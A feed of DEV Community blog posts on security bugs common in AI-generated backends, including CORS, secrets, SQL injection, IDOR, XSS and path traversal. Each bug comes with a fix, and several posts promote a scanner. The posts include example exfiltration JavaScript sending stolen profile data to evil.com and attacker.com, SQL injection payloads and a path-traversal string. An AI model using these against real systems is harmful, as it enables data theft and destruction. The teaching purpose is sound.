DEV Community: BusyAgents

AI-Generated Backends Almost Always Get CORS Wrong

BusyAgents — Tue, 24 Mar 2026 10:09:17 +0000

TL;DR

AI editors output app.use(cors()) with zero config by default - that's a wildcard CORS policy
On unauthenticated public APIs this is fine. On anything with sessions or JWT auth, it's a credential theft vector
Three lines fix it, but you have to know to look

I was reviewing a Node.js API a friend built last month. Express backend, JWT auth, clean structure. The AI had written basically everything from scratch in a weekend. It worked perfectly. And buried in the middleware setup, six lines from the top:

app.use(cors()); // CWE-942

No config. No options. Full wildcard. Any origin, including evil.com, could make credentialed cross-origin requests to that API.

I've seen this pattern dozens of times. Not from developers who don't know better. From fast-moving teams using AI editors to ship quickly. The AI writes code that passes every test and ships perfectly - but the security assumptions baked into that code are frequently from a different era.

The Vulnerable Pattern

Here's what AI editors produce when you ask for a basic Express API with CORS support:

const express = require('express');
const cors = require('cors');
const app = express();

app.use(cors()); // CWE-942: Wildcard CORS - accepts requests from ANY origin

app.get('/api/user/profile', authenticate, async (req, res) => {
  const user = await User.findById(req.userId);
  res.json(user);
});

The cors() call with no arguments maps to Access-Control-Allow-Origin: *. When combined with cookies or Authorization headers, this becomes a direct attack vector.

An attacker hosting evil.com can write:

fetch('https://yourapi.com/api/user/profile', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
});

If the user has an active session cookie, that request goes through. The response comes back. The data leaks.

Why AI Keeps Generating This

The training data for AI models is saturated with tutorial code and Stack Overflow answers written before the security implications of wildcard CORS were well understood. When you search "express cors setup", the top answers almost universally show app.use(cors()) with no configuration. Simple, clean, works immediately.

AI optimises for code that works and matches the style of what was most upvoted. Security edge cases don't show up in unit tests. They show up in incident reports.

There's also a subtlety: Access-Control-Allow-Origin: * is fine for public, read-only APIs. The problem surfaces when you add authentication. AI doesn't know whether your API will eventually be authenticated - it writes the simplest thing that satisfies the immediate request.

The Fix

Three lines:

app.use(cors({
  origin: process.env.ALLOWED_ORIGIN || 'https://yourfrontend.com',
  credentials: true
}));

For multiple origins, use a whitelist function:

const allowedOrigins = (process.env.ALLOWED_ORIGINS || '').split(',');

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
}));

Put ALLOWED_ORIGINS=https://yourfrontend.com in your .env and update it per environment. That's the full fix.

If you're building a truly public API with no auth, keep the wildcard. But the moment you add sessions, cookies, or Authorization headers, lock it down.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post. The important thing is catching it early, whatever tool you use.

Your AI Wrote a CORS Config That Lets Any Website Read Your API

BusyAgents — Mon, 23 Mar 2026 13:40:23 +0000

TL;DR

AI assistants default to Access-Control-Allow-Origin: * — a wildcard that opens your API to every domain on the internet
When combined with a naive credentials check, this escalates from sloppy to exploitable
Audit every CORS config your AI generated and replace wildcards with explicit origin lists

I was reviewing a side project a friend built with Cursor last month. Node/Express backend, straightforward REST API, nothing fancy. The app worked fine. The CORS setup was a different story.

Every route was wide open. One line at the top of the file: app.use(cors()). No origin list, no credentials check, no thought. Just a call to the cors package with zero config. I've seen this pattern in probably a third of AI-generated Express apps I've touched this year.

The default behavior of cors() in Express sets Access-Control-Allow-Origin: *. That means any website on the internet can make cross-origin requests to the API from a visitor's browser. For a read-only public API, that's maybe acceptable. For an API that handles user data or authentication, it's a real problem.

The Vulnerable Code (CWE-942)

Here's the pattern that appears constantly in AI-generated backends:

// server.js — AI-generated Express setup
const express = require('express');
const cors = require('cors');
const app = express();

app.use(cors()); // wildcard — Access-Control-Allow-Origin: *

app.get('/api/user/profile', requireAuth, async (req, res) => {
  const user = await User.findById(req.user.id);
  res.json(user);
});

app.get('/api/admin/users', requireAdmin, async (req, res) => {
  const users = await User.findAll();
  res.json(users);
});

The damage compounds when you see this paired with a naive origin callback:

// Even worse pattern — accepts every origin including null
app.use(cors({
  origin: (origin, callback) => callback(null, true),
  credentials: true
}));

Now you have a path for cross-site request attacks. Any malicious page a logged-in user visits can pull their profile data, drain their session, or hit admin routes — because the server told the browser it trusts everyone.

Why AI Generates This

CORS errors are loud. No 'Access-Control-Allow-Origin' header is present is one of the most Googled browser errors. Every tutorial that fixes it reaches for cors() with no arguments or origin: '*'. The AI learned from those tutorials and treats "make the error go away" as a solved problem.

There's also a context issue. When AI generates a backend scaffold, it defaults to "it should work" over "it should be locked down." Wide CORS gets the app running immediately. A restricted config requires knowing the production domain up front, which the AI doesn't have at generation time.

The Fix

Replace the default cors() call with an explicit origin allowlist:

const allowedOrigins = [
  'https://yourapp.com',
  'https://www.yourapp.com',
  process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : null
].filter(Boolean);

app.use(cors({
  origin: (origin, callback) => {
    // Allow server-to-server requests (no origin header) or allowlisted origins
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`CORS blocked: ${origin}`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Audit your existing projects with two quick greps:

grep -r "cors()" ./src --include="*.js" | grep -v allowedOrigins
grep -r "origin: '*'" ./src --include="*.js"

Any match is worth reviewing manually before shipping.

Your AI Just Hardcoded Your Stripe Key. Here's Why It Keeps Happening.

BusyAgents — Sun, 22 Mar 2026 12:53:14 +0000

TL;DR

AI code generators embed live secrets directly in source files more often than you'd expect
The pattern comes from training data full of tutorials where authors hardcoded values for simplicity
The fix is a single env var lookup, but you need a scanner to catch it before it reaches git history

I was doing a code review last week when I spotted it. Buried three files deep in a side project: a real Stripe live key, hardcoded directly into the payment service. The AI had generated it that way, the developer hadn't noticed, and it had already been committed twice.

Not a test key. Not a placeholder. An actual live key that could drain an account.

This isn't rare. I've started checking for hardcoded secrets as a reflex whenever I see AI-generated backend code. It shows up in roughly a third of the projects I look at - Stripe keys, OpenAI API tokens, database passwords, JWT signing secrets. The AI fills in the slot where it thinks a value goes, and the training data is full of tutorials where the author hardcoded their own key for "simplicity."

The Pattern (CWE-798)

The vulnerable version typically looks like this:

// ai-generated payment service
const stripe = require('stripe');
const client = stripe('sk_live_4xKp9mZqR3vNhJ8wXcTbL7eY');

const createCharge = async (amount, token) => {
  return client.charges.create({
    amount,
    currency: 'usd',
    source: token,
  });
};

The AI grabbed a plausible-looking key format and stuck it inline. Sometimes it's a clearly fake placeholder, but sometimes it looks suspiciously real - or it's an actual key if the developer had pasted it anywhere in the conversation context.

Same pattern shows up with database connection strings:

const pool = new Pool({
  connectionString: 'postgresql://admin:hunter2@db.myapp.io:5432/production'
});

And with JWT signing:

const token = jwt.sign(payload, 'my-super-secret-jwt-key-12345');

Why AI Does This

The model has seen thousands of tutorials, README files, and Stack Overflow answers where the author hardcoded a value. Stack Overflow in particular is full of examples from 2015 where someone wrote const apiKey = 'sk_test_...' because they were demonstrating a concept, not shipping production code.

The AI learned to fill the slot. It doesn't know the difference between a tutorial showing how an API works and production code that should read from environment variables. It predicts the most statistically likely token for that position, and the most likely token is a hardcoded value because that's what it saw most often.

The 2023 GitGuardian State of Secrets Sprawl report found over 10 million secrets committed to public GitHub repos that year. A meaningful chunk of those are almost certainly from developers shipping AI-generated code without reviewing it.

The Fix

It's one line. Replace:

const client = stripe('sk_live_4xKp9mZqR3vNhJ8wXcTbL7eY');

With:

const client = stripe(process.env.STRIPE_SECRET_KEY);

Full setup takes five minutes:

# 1. Install dotenv if you're not already using it
npm install dotenv

# 2. Create a .env file and add it to .gitignore immediately
echo "STRIPE_SECRET_KEY=sk_live_..." >> .env
echo ".env" >> .gitignore

# 3. Load it in your entry point
require('dotenv').config();

For production, use your platform's secrets manager: AWS Secrets Manager, GCP Secret Manager, Doppler, or environment variables set directly in your hosting dashboard.

Adding a pre-commit hook that runs gitleaks before anything goes out is worth doing:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.4
    hooks:
      - id: gitleaks

That catches most secrets before they ever touch git history.

If a Secret Already Got Committed

Rotate it immediately. Don't just delete the file and commit again - the key is still in git history. You need to:

Invalidate the key in the provider's dashboard right now
Generate a new one
Use BFG Repo Cleaner or git filter-branch to scrub the history if the repo is public or shared

Removing the value in the latest commit doesn't make it safe. History is permanent unless you actively rewrite it.

Catching It Before It Ships

I've been running SafeWeave on my projects for this. Its Gitleaks-based secrets scanner hooks into Cursor and Claude Code as an MCP server and flags hardcoded secrets before I finish the session. That said, even a basic pre-commit hook with gitleaks will catch most of what's in this post. The important thing is catching it before it reaches git history, whatever tool you use.

The SQL Injection That Lives in Every AI-Generated Search Endpoint

BusyAgents — Sat, 21 Mar 2026 15:29:49 +0000

TL;DR

AI copilots generate SQL queries using template literals - that is CWE-89 SQL injection
Your database cannot tell the difference between a legit request and an attack
Fix is one line: parameterized queries. Your driver handles the rest.

A client sent me their Node.js API to review three weeks ago. Express, PostgreSQL, Prisma for most of the data layer. They had built the whole thing in Cursor over about two weeks. Code quality was genuinely good - TypeScript throughout, consistent patterns, proper error handling. The AI had done a solid job structuring it.

Then I hit the order search endpoint.

The Vulnerable Code (CWE-89)

The developer needed a flexible search with multiple optional filters. The AI generated this:

app.get('/api/orders/search', async (req, res) => {
  const { customer, status, dateFrom } = req.query;
  const results = await db.query(
    `SELECT * FROM orders 
     WHERE customer_name = '${customer}'
     AND status = '${status}'
     AND created_at >= '${dateFrom}'`
  );
  res.json(results.rows);
});

Send ' OR '1'='1' -- as the customer parameter and you get every order in the database. No authentication required. Send '; DELETE FROM orders WHERE '1'='1 and the table is gone.

I showed the developer. They were surprised. They had asked the AI to "simplify the query" mid-session and it swapped out the parameterized version it had written first. One refactoring prompt, protection gone.

Why AI Keeps Writing This

This is not a knowledge gap. Ask the same LLM "is this query vulnerable to SQL injection?" and it will explain the problem accurately, cite CWE-89, and suggest the fix.

The issue is generation context. When a model completes a "search with filters" function, it pattern-matches from training data. And training data has an enormous amount of quick-start tutorials, Stack Overflow answers, and legacy documentation showing string interpolation in database queries. The "gets it working" pattern outnumbers the production-safe version by a lot.

Models do not ship software. They have no stake in what happens to your database six months from now.

This pattern shows up in every language. JavaScript with template literals. Python with f-strings. Go with fmt.Sprintf in query strings. PHP with string concatenation. Same root cause, same fix.

The Fix

Parameterized queries. The query string is static. User input goes in a separate array. Your database driver handles escaping at the driver level - the database never sees user input as SQL syntax.

Node.js with node-postgres:

// Vulnerable - do not ship this
const results = await db.query(
  `SELECT * FROM orders WHERE customer_name = '${customer}' AND status = '${status}'`
);

// Safe - parameterized
const results = await db.query(
  'SELECT * FROM orders WHERE customer_name = $1 AND status = $2',
  [customer, status]
);

Python with psycopg2:

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE email = '{email}' AND role = '{role}'")

# Safe
cursor.execute(
    "SELECT * FROM users WHERE email = %s AND role = %s",
    (email, role)
)

The rule: if the string that gets passed to db.query() ever changes based on user input, something is wrong.

Most modern ORMs are safe by default - Prisma, SQLAlchemy, ActiveRecord. So developers assume the whole data layer is fine. But almost every project has raw queries somewhere. Complex reporting. Performance-critical joins. Database-specific features the ORM does not expose cleanly. Those are where this hides.

# Find raw template literal queries in Node.js
grep -rn 'db\.query(`\|pool\.query(`\|client\.query(`' ./src

# Find f-string queries in Python
grep -rn 'cursor\.execute(f' ./
grep -rn 'connection\.execute(f' ./

Run that in any codebase larger than a few weeks old. You will find something.

Your AI-Generated Backend Has Its CORS Wide Open

BusyAgents — Fri, 20 Mar 2026 12:30:18 +0000

TL;DR

AI scaffolding tools default to cors({ origin: '*' }) - wildcard CORS that lets any website call your API
Combined with cookies or auth headers, this lets malicious sites make authenticated requests on behalf of your users
Two lines of config is the fix, but only if you know to look for it

I was setting up a new side project last month using Cursor. The AI scaffolded a clean Express server - TypeScript, middleware organized neatly, validation on the inputs. I copy-pasted it, ran it, everything worked. No CORS errors in the browser.

Then I actually read what it wrote.

import cors from 'cors';
app.use(cors());

No configuration. cors() with no arguments defaults to origin: '*'. Every domain on the internet can make cross-origin requests to this API.

I have seen this in every AI-scaffolded Node backend I have reviewed in the past year. Sometimes it is cors(), sometimes it is cors({ origin: '*' }) written out explicitly. The result is the same.

What Wildcard CORS Actually Allows

CORS controls which origins can make cross-origin requests from browsers. The wildcard * means all of them.

For a public read-only API, that is probably fine. For anything with authentication - cookies, JWT tokens in headers, session IDs - it is not.

Here is a concrete scenario. Your app sets a session cookie on login. A user logs in and stays logged in. Later they visit a different site - malicious or just compromised. That site runs this:

// Any site can run this in a visitor's browser
fetch('https://yourapp.com/api/user/profile', {
  credentials: 'include'  // sends the user's session cookie
})
.then(r => r.json())
.then(data => {
  // exfiltrate to attacker's server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

If your CORS policy allows that origin and the browser includes the session cookie, your API responds as if it is the legitimate user. The attacker gets the data.

Browsers actually block origin: '*' combined with credentials: true - they refuse to send credentials to a wildcard origin. But a misconfigured explicit allowlist with credentials is very much a real attack path, and cors() with no arguments leaves you one config change away from that.

Why AI Keeps Generating This

Every CORS tutorial starts the same way. Developer gets a CORS error. Stack Overflow answer: add app.use(cors()) to your Express server. It works. Tutorial ends.

The "configure it properly for production" step is either missing entirely or buried in a footnote. LLMs trained on this corpus learned that CORS configuration means cors() or origin: '*'. The pattern for explicit production-safe origin lists shows up far less consistently in training data.

Same story as hardcoded secrets and weak crypto. AI learned the "get it working in dev" version of the solution, not the "safe to ship" version.

The Fix

Replace the wildcard with an explicit list of allowed origins.

const allowedOrigins = [
  'https://yourapp.com',
  'https://www.yourapp.com',
];

if (process.env.NODE_ENV === 'development') {
  allowedOrigins.push('http://localhost:3000');
  allowedOrigins.push('http://localhost:5173'); // Vite
}

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no Origin header: curl, Postman, mobile apps, server-to-server
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization'],
}));

The !origin check matters. Server-to-server requests, curl calls, and requests from mobile apps do not send an Origin header. Without that check, you break legitimate non-browser clients.

For APIs that genuinely need to be public - open data endpoints, public SDKs - origin: '*' is fine. Just make sure credentials are not involved and the data really is public.

Quick audit: search your codebase for cors() with no arguments and for origin: '*'. Either one in a backend that handles user sessions is worth a second look.

I have been using SafeWeave to catch this. It flags wildcard CORS in the posture scanner alongside missing rate limiting and CSRF issues. That said, a grep for cors() in your server files takes ten seconds and finds the same thing. The important thing is not letting it reach production, whatever method you use.

The Access Control Bug Your AI Copilot Skips Every Time

BusyAgents — Thu, 19 Mar 2026 15:25:08 +0000

TL;DR

AI-generated API endpoints authenticate users but routinely forget ownership checks
Any logged-in user can read, edit, or delete another user's data by guessing IDs
One if statement is the difference between a secure API and a data breach

I was doing a code review for a friend's SaaS a few weeks back. Invoice management app, small team, paying customers. The auth was solid. JWT tokens, proper middleware, refresh tokens done right. I was actually impressed until I hit the invoice endpoints.

app.get('/api/invoices/:id', authenticate, async (req, res) => {
  const invoice = await Invoice.findById(req.params.id);
  res.json(invoice);
});

No ownership check. Any authenticated user could hit /api/invoices/1, /api/invoices/2, all the way up. Customer data, completely exposed to any other customer who figured out the pattern. The app had been live for three months.

The dev built the whole backend with Cursor. Every endpoint had authentication middleware. None of them had authorization.

What IDOR Actually Looks Like

This is IDOR - Insecure Direct Object Reference (CWE-639). The name sounds academic. What it means in practice: your API trusts that any logged-in user should be able to access any resource if they know the ID.

Here's the pattern AI generates consistently:

// GET a document
app.get('/api/documents/:id', authenticate, async (req, res) => {
  const doc = await Document.findById(req.params.id);
  if (!doc) return res.status(404).json({ error: 'Not found' });
  res.json(doc);
});

// Update a document
app.put('/api/documents/:id', authenticate, async (req, res) => {
  const doc = await Document.findById(req.params.id);
  await doc.updateOne(req.body);
  res.json({ success: true });
});

// Delete a document
app.delete('/api/documents/:id', authenticate, async (req, res) => {
  await Document.findByIdAndDelete(req.params.id);
  res.json({ success: true });
});

Authentication passes. The resource exists. Request goes through. What's missing is one check: does req.user.id match doc.userId?

MongoDB ObjectIDs aren't sequential but they're not secret. Auto-increment integer IDs are trivially enumerable. Either way, an attacker with a valid session token can walk through IDs and pull data that isn't theirs.

Why AI Keeps Missing This

The training data explanation is pretty simple. Most tutorial code on the internet - Stack Overflow answers, blog posts, course projects - demonstrates authentication but not authorization. "Here's how to protect a route with a JWT" is a complete tutorial. "Here's how to verify this user owns this specific document" is left as an exercise or skipped entirely.

LLMs learn patterns. The pattern for a protected endpoint is: middleware + fetch by ID + return data. The ownership check doesn't appear consistently enough in training data to become part of the default output.

I've reviewed around 20 AI-generated backends in the past few months. All of them had authentication. About four had proper ownership checks on every endpoint.

The Fix

One line of code. Sometimes two.

app.get('/api/documents/:id', authenticate, async (req, res) => {
  const doc = await Document.findById(req.params.id);
  if (!doc) return res.status(404).json({ error: 'Not found' });

  // This is the line AI forgets
  if (doc.userId.toString() !== req.user.id) {
    return res.status(403).json({ error: 'Forbidden' });
  }

  res.json(doc);
});

For shared resources where multiple users can access the same document:

const hasAccess = doc.userId.toString() === req.user.id ||
                  doc.sharedWith.includes(req.user.id);
if (!hasAccess) return res.status(403).json({ error: 'Forbidden' });

The 404 vs 403 question is worth considering. Returning 404 for unauthorized resources leaks less about what exists in your system. Returning 403 is more transparent about what happened. Pick based on your threat model.

If you have many endpoints, pull the check into middleware so it happens once and every new route gets it automatically:

const requireOwnership = (Model) => async (req, res, next) => {
  const doc = await Model.findById(req.params.id);
  if (!doc) return res.status(404).json({ error: 'Not found' });
  if (doc.userId.toString() !== req.user.id) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  req.resource = doc;
  next();
};

// Usage
app.get('/api/documents/:id', authenticate, requireOwnership(Document), (req, res) => {
  res.json(req.resource);
});

Quick audit trick: search your codebase for findById, findByPk, or findOne where the filter is just an ID from req.params. Any result without a .userId condition or ownership check nearby is a candidate for review.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags missing ownership checks in AI-generated endpoints. That said, the grep approach above will get you most of the way there without any tooling. The important thing is checking before you ship, whatever method you use.

The 4 Security Bugs Your AI Copilot Writes Every Single Time

BusyAgents — Wed, 18 Mar 2026 19:07:11 +0000

TL;DR

AI editors produce syntactically clean code that is semantically insecure
The same 4 vulnerability patterns show up across almost every AI-generated codebase
They're all fixable in minutes, if you know what to look for

I scanned a production app last week. Clean TypeScript, well-organized folders, decent test coverage. The kind of repo that looks like a senior dev wrote it.

Also: a hardcoded Stripe API key on line 8 of config.ts. A SQL query built from raw string concatenation. An auth endpoint with zero rate limiting. And a password hash using MD5.

The whole thing was built with an AI editor. And none of this is unusual.

I've been scanning AI-generated codebases for a while now. The same patterns keep showing up, almost without exception. Not because the developers are bad. they're often quite good. It's because AI models learned from tutorial code, and tutorials never prioritize security. They prioritize clarity.

Here are the four things I find most consistently, with the actual code patterns.

1. Hardcoded Secrets (CWE-798)

This is the #1 find. It shows up in roughly 2 out of 3 repos.

The AI generates something like this:

const stripe = new Stripe('sk_live_4xKj9mNpQ2rT...');
const jwtSecret = 'my-super-secret-key-123';

It looks fine in isolation. It runs. Tests pass. Then it gets committed, pushed, and either leaked via a public repo or exposed through git history. The fix is one line. The real problem is that the AI has no reason to generate the safe version. It's optimizing for "code that works in a tutorial," and environment variables are setup friction it skips for you.

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY);
const jwtSecret = process.env.JWT_SECRET;

Same result. No secret in your codebase.

2. SQL Injection via Template Literals (CWE-89)

This one consistently surprises developers because it looks modern and intentional.

// What the AI writes
const results = await db.query(
  \`SELECT * FROM users WHERE email = '${userInput}'\`
);

Template literals feel like the "new way" of writing strings. They're perfectly fine in most contexts. In SQL queries, they're an open door. An attacker sends ' OR '1'='1 as the email input, and the query becomes SELECT * FROM users WHERE email = '' OR '1'='1' . Every record in the table gets returned. With the right payload, they can run DROP TABLE users.

The parameterized version is just as readable:

const results = await db.query(
  'SELECT * FROM users WHERE email = $1',
  [userInput]
);

The AI could write this. It just doesn't default to it.

3. Missing Auth on API Endpoints (CWE-862)

When you ask an AI to "create a user profile endpoint," it creates the endpoint. That's what you asked for. What you probably also wanted. auth middleware. you didn't specify, so it didn't add it.

// What gets generated
app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);
});

This endpoint is wide open. Anyone who knows or can guess a user ID gets that user's full data. No session check, no token validation, nothing. The fix requires one middleware call and a role check:

app.get('/api/users/:id', authenticate, async (req, res) => {
  if (req.user.id !== req.params.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await User.findById(req.params.id);
  res.json(user);
});

The AI doesn't make this mistake because it's careless. It makes it because auth middleware is a project-specific detail that doesn't exist in the training data for a generic endpoint example.

4. Weak Password Hashing (CWE-328)

Less common than the others, but I still find it regularly. especially in Python backends.

# What the AI generates
import hashlib

def hash_password(password):
    return hashlib.md5(password.encode()).hexdigest()

MD5 was deprecated for password storage around 2004. It's fast. which is exactly wrong for passwords. A modern GPU can crack MD5 hashes at billions per second. If your database leaks, every password becomes plaintext within hours.

# What it should be
import bcrypt

def hash_password(password):
    return bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

Bcrypt is intentionally slow. That's the feature, not a bug. A work factor of 12 makes each comparison take ~250ms, which is completely fine for login but completely impractical for brute-force at scale.

The Underlying Problem

These aren't random bugs. They're systematic patterns.

AI editors learned from code written to explain concepts, not to ship safely. Tutorial code hardcodes secrets to keep examples short. It skips auth to keep focus on the feature being demonstrated. It uses MD5 because that's what a StackOverflow answer from 2012 uses, and that answer is still indexed and still in the training data.

When an AI writes code to be "syntactically correct and functional," it succeeds. But security is about what the code doesn't accept, doesn't expose, doesn't allow. That negative space is invisible in tutorials. So it's invisible in AI output.

The real fix isn't running a scanner after the fact in CI/CD. By then you've already committed, moved on, and lost the mental context to fix it cleanly. You need something that catches this at the moment the code is generated, inside the editor. That's the workflow change that actually sticks.

The hidden security cost of AI-generated code (and what to do about it)

BusyAgents — Sun, 15 Mar 2026 13:01:53 +0000

TL;DR: AI code assistants — Cursor, Claude Code, Windsurf, Copilot — are
reshaping how software gets built. But research shows 24–45% of AI-generated
code contains security vulnerabilities. This post breaks down the most common
patterns, why they happen, and exactly how to catch them before they hit production.

The Vibe Coding Revolution Has a Blind Spot

The way software gets built is shifting underneath us.

A developer who would have spent two weeks on a full-stack app can now ship it in
an afternoon. Prompting has become a core skill. Vibe coding — describing what
you want and letting AI write the implementation — is producing real, functional
products at a pace nobody predicted.

But there's a pattern emerging that deserves attention.

In early 2025, researchers at Stanford found that developers using AI assistants
produced code with more security vulnerabilities than those writing manually —
and were more confident their code was secure. A separate study from the University
of Montreal found that roughly 45% of LLM-generated code contains vulnerabilities.

This isn't theoretical. AI-built projects are going to production every day — some
handling payments, some storing health data, some managing auth for thousands of users.

The AI that wrote the code doesn't audit the code. That gap is where things break.

The 7 Most Common Vulnerability Patterns in AI-Generated Code

After analyzing scan results from AI-built projects across multiple languages and
frameworks, these are the patterns that show up repeatedly.

1. 🔑 Hardcoded Secrets and API Keys

The single most common finding. AI assistants generate configuration examples with
placeholder values that developers replace with real credentials — and forget to
move to environment variables.

// ❌ AI-generated — don't ship this
const db = new Client({
  host: 'db.example.com',
  user: 'admin',
  password: 'sk_live_abc123actualkey',  // CWE-798
  database: 'production'
});

Why AI does this: LLMs learn from codebases that include config examples. The
model doesn't distinguish between a placeholder and a real secret — it generates
the pattern it's seen most often.

Fix it:

// ✅ Always use environment variables
const db = new Client({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  database: process.env.DB_NAME
});

Run a secrets scanner before every commit using a pre-commit hook:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.0
    hooks:
      - id: gitleaks

Tools like SafeWeave detect hardcoded secrets as part
of a full SAST scan — directly inside your AI coding session via MCP.

2. 💉 SQL Injection via String Concatenation

AI frequently generates SQL using template literals instead of parameterized queries
— especially for simple CRUD operations.

# ❌ Injectable — never do this
@app.route('/search')
def search():
    query = request.args.get('q')
    results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'")
    return jsonify(results)

Why AI does this: String interpolation is more concise. LLMs optimize for
readable, compact code. Parameterized queries require more boilerplate the model
skips unless you explicitly ask for security.

Fix it:

# ✅ Parameterized query
@app.route('/search')
def search():
    query = request.args.get('q')
    results = db.execute(
        "SELECT * FROM products WHERE name LIKE %s",
        (f"%{query}%",)
    )
    return jsonify(results)

Rule of thumb: If you see a variable interpolated directly into a SQL string
across any language or ORM — it's injectable.

3. 🔓 Missing Authentication on Sensitive Endpoints

When you prompt AI to "build a REST API for managing users," it generates the CRUD
routes. What it frequently skips: auth middleware, authorization checks, and RBAC.

// ❌ No auth — any request can delete any user
router.delete('/api/users/:id', async (req, res) => {
  await db.query('DELETE FROM users WHERE id = $1', [req.params.id]);
  res.json({ deleted: true });
});

Why AI does this: The prompt said "build a user management API." It didn't say
"with authentication." LLMs are literal — they build exactly what you ask for.

Fix it:

// ✅ Explicit auth + role check on every destructive route
router.delete('/api/users/:id', requireAuth, requireRole('admin'), async (req, res) => {
  await db.query('DELETE FROM users WHERE id = $1', [req.params.id]);
  res.json({ deleted: true });
});

Audit rule: Every endpoint that reads, writes, or deletes data needs explicit
auth checks. No exceptions.

4. 📁 Path Traversal in File Operations

AI-generated file handlers frequently trust user-supplied filenames without sanitization.

// ❌ Path traversal — ?file=../../../etc/passwd reads any file
app.get('/download', (req, res) => {
  const filename = req.query.file;
  res.sendFile(path.join(__dirname, 'uploads', filename)); // CWE-22
});

Why AI does this: The model generates the "happy path." File operations work
correctly with normal input — it doesn't reason about adversarial inputs unless prompted.

Fix it:

// ✅ Strip traversal + verify resolved path
app.get('/download', (req, res) => {
  const filename = path.basename(req.query.file);
  const filePath = path.join(__dirname, 'uploads', filename);

  if (!filePath.startsWith(path.resolve(__dirname, 'uploads'))) {
    return res.status(403).json({ error: 'Access denied' });
  }

  res.sendFile(filePath);
});

5. 🕸️ Cross-Site Scripting (XSS) via Unsanitized Output

AI frequently renders user input directly into HTML without escaping — common in
server-side rendering and API responses feeding frontend templates.

# ❌ Reflected XSS — CWE-79
@app.route('/profile/<username>')
def profile(username):
    user = get_user(username)
    return f"<h1>Welcome, {user.display_name}</h1>"

If display_name contains a <script> tag — it executes in the browser.

Fix it:

# ✅ Escape user input before rendering
from markupsafe import escape

@app.route('/profile/<username>')
def profile(username):
    user = get_user(username)
    return f"<h1>Welcome, {escape(user.display_name)}</h1>"

Better yet — use templating engines (Jinja2, EJS, Handlebars) that auto-escape by
default.

6. 📦 Vulnerable Dependencies

When AI suggests npm install <package>, it recommends the version it was trained
on — potentially months or years old, with known CVEs.

{
  "dependencies": {
    "lodash": "4.17.20",
    "jsonwebtoken": "8.5.1",
    "axios": "0.21.1"
  }
}

All three of these have known vulnerabilities:

Package	Version	Vulnerability
`lodash`	4.17.20	Prototype pollution (CVE-2021-23337)
`jsonwebtoken`	8.5.1	Algorithm confusion attacks
`axios`	0.21.1	SSRF vulnerability

Why AI does this: The model has a training cutoff. It recommends whatever version
was most prevalent in the training corpus — it can't check a CVE database at generation
time.

Fix it:

# Run after every AI-suggested package install
npm audit
pip audit
cargo audit

7. 🐳 Insecure Infrastructure Defaults

AI-generated Dockerfiles, Terraform configs, and Kubernetes manifests produce
minimal configurations that work — but lack security hardening.

# ❌ Insecure defaults
FROM node:18
WORKDIR /app
COPY . .
RUN npm install
EXPOSE 3000
CMD ["node", "server.js"]

Problems with this:

Runs as root (no USER directive)
Copies everything including .env, .git, node_modules
Uses full node:18 image (larger attack surface)
No health check defined

Fix it:

# ✅ Hardened multi-stage build
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

FROM node:18-alpine
RUN addgroup -S app && adduser -S app -G app
WORKDIR /app
COPY --from=builder /app/node_modules ./node_modules
COPY . .
USER app
EXPOSE 3000
HEALTHCHECK CMD wget -q --spider http://localhost:3000/health || exit 1
CMD ["node", "server.js"]

The same applies to Terraform (S3 buckets with public access on by default),
Kubernetes (containers running as privileged), and CloudFormation templates.
SafeWeave scans IaC configs alongside your application
code — catching misconfigurations before they reach your cloud environment.

Why Traditional Security Tools Miss This Workflow

The standard AppSec toolchain was built for a different era:

Problem	Impact
CI/CD-only scanners	By the time you see the report, you've moved on. The cognitive distance between writing code and fixing it is huge.
Dashboard-heavy tools	Log in → navigate → find the finding → understand context → switch back to editor → find the line → fix it. Kills solo-dev momentum.
Enterprise pricing	$25–35/dev/month for a solo developer building a SaaS is the wrong model.
Manual review	Doesn't scale when AI generates 500 lines from a single prompt.

The gap is real-time, in-editor security scanning that fits the AI-assisted coding
workflow. Tools that plug into the same MCP interface AI assistants use — so
scanning happens inside the conversation, not in a separate window.

SafeWeave is built specifically for this workflow: MCP-native
security scanning that runs SAST, secrets detection, dependency analysis, and IaC
checks directly inside Cursor, Claude Code, or Windsurf — without ever leaving
your editor.

A Practical Security Checklist for AI-Built Projects

Run this before every production deploy.

✅ Authentication & Authorization

[ ] Every API endpoint has explicit auth middleware
[ ] Admin routes require role-based access control
[ ] JWT secrets are stored in environment variables, not code
[ ] Session tokens have expiration dates
[ ] Password reset tokens are single-use and time-limited

✅ Input Validation

[ ] All SQL queries use parameterized statements
